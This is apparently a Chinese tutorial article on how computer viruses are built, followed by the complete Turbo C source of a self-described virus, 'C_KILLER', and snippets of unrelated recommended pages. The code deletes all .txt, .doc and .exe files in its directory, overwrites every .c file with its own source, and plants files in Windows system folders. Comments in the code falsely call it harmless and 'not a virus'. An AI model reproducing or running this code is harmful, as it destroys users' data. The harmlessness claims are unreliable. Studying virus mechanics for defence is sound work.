[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
四 我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.
RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
/********************************** IN FACT,IT"S NOT A VIRYUS AT ALL. **********************************/ #include <io.h> #include <dir.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* copy outfile to infile */ void copyfile(char *infile, char *outfile) { FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out); } /* This function named Rubbishmaker. */ void MakeRubbish() { int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\"; /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } /* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the "path" */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX"; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } } /* This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer. */ void CreatEXE() { int i; char *path; char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"}; for ( i = 0; i < 2; i++) { open(s[i], 0x0100,0x0080); copyfile( "C_KILLER.C",s[i]); } } /* remove something from your computer */ void Remove() { int done; int i; struct ffblk ffblk; char *documenttype[3] = {"*.txt","*.doc","*.exe"}; for (i = 0; i < 3; i++) { done = findfirst(documenttype[i],&ffblk,2); while (!done) { remove(ffblk.ff_name); done = findnext(&ffblk); } } } /* overlay the c programs */ void Breed() { int done; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) { copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); } } void main() { printf("THERE IS A VIRUS BY XIAOKE.\n\n"); Breed(); Remove(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n"); clrscr(); system("cmd"); }
相关推荐
在给定的描述中提到的是一个简单的C语言编写的病毒程序,旨在供初学者学习和理解编程的基本思路和过程。虽然实际操作中不建议编写或传播病毒,但从学习的角度出发,通过这样的例子可以帮助初学者了解一些编程的基本...
本篇文章通过分析一个简单的C语言编写的计算机病毒示例,介绍了计算机病毒的基本组成结构及其工作原理。值得注意的是,这里提供的信息仅用于教育目的,提醒读者了解计算机病毒的工作机制以便更好地防范。在实际应用...
根据提供的标题、描述、标签以及部分代码内容,我们可以总结出以下关于使用C语言编写病毒的知识点: ### C语言编写病毒的基础概念 1. **病毒定义**:计算机病毒是一种恶意软件,能够自我复制并感染其他程序或文件...
总体来说,这份源代码为我们提供了一个基础框架,展示了如何使用C语言编写一个简单的文件反病毒管理程序。虽然代码较为老旧,但对于学习和理解早期计算机安全领域的一些基础知识仍然具有一定的参考价值。
U盘病毒杀毒后,隐藏文件的恢复软件。只能用于恢复隐藏文件,不具备杀毒功能。
在C语言中,编写病毒通常涉及到以下几个关键知识点: 1. **文件感染**:病毒会试图修改其他可执行文件,将自身插入到文件的头部或尾部,或者替换文件的部分内容。这需要理解文件结构和I/O操作。 2. **内存管理**:...
在本资源包中,主题涵盖了C语言的基础知识、病毒与安全以及数值计算与数据结构等多个重要领域。通过105个实战案例,学习者将深入理解C语言的强大功能及其在实际问题解决中的应用。 首先,关于C语言基础部分,这是...
通过本资源,读者可以了解C语言的基本概念、语法规则、应用领域和重要性,并学习如何使用C语言编写程序。 一、C语言概述 C语言是一种高级语言,具有代码量小、速度快、功能强大等特点,但也存在危险性高、开发周期...
实例程序包括一元二次方程、HelloWorld程序、C语言编写的病毒程序(龌龊的程序和内存泄露程序)。这些实例程序可以帮助学习者更好地理解C语言的基本概念和应用。 预备知识 学习C语言需要具备的一些预备知识包括CPU...
了解C语言中的病毒原理,可以让我们深入理解病毒如何利用系统漏洞和编程错误进行自我复制和传播,从而提高我们在编写安全代码和防护系统时的能力。 描述中的"共同成长,共同分享"表达了学习和交流的重要性。通过...
举例来说,Windows和Linux的内核都是用C语言编写的,这突显了C语言在系统编程中的重要性。 然而,C语言的缺点也是显而易见的。C语言的危险性较高,这意味着使用不当会导致程序出现难以预料的错误。由于C语言对内存...
这是一个用C语言编写的ATM机程序,包括:帐户注册、登录、存款、取款、转帐、修改密码、存款查询、取款查询、余额查询等操作。此程序仅用于学习研究之用。因时间有限难免会有一些不足之处,如果大家有什么问题可以给...
经典反向后门,用C语言编写。正在开发中。 “谁打开了门?” 该代码旨在包括一种通过仅在计算机上安装一次程序来远程访问系统的方法。 一旦确保访问权限,服务器将能够在计算机上执行任意功能,并更改系统。 一旦...
C语言是一种强大的、低级别的编程语言,它允许程序员直接操控硬件,因此可以用来编写影响系统运行的代码。描述中提到的"变成电脑死机病毒"实际上涉及到的是通过修改头文件来改变程序行为的技术。 首先,让我们来看...
6. **C语言中不定参数的实现**:C语言的可变参数列表功能允许函数接收不同数量的参数,这在编写一些灵活的函数时非常有用。 7. **游戏编程**和**实用程序**:如病毒程序、仓储管理系统、电话存储系统等,这些项目...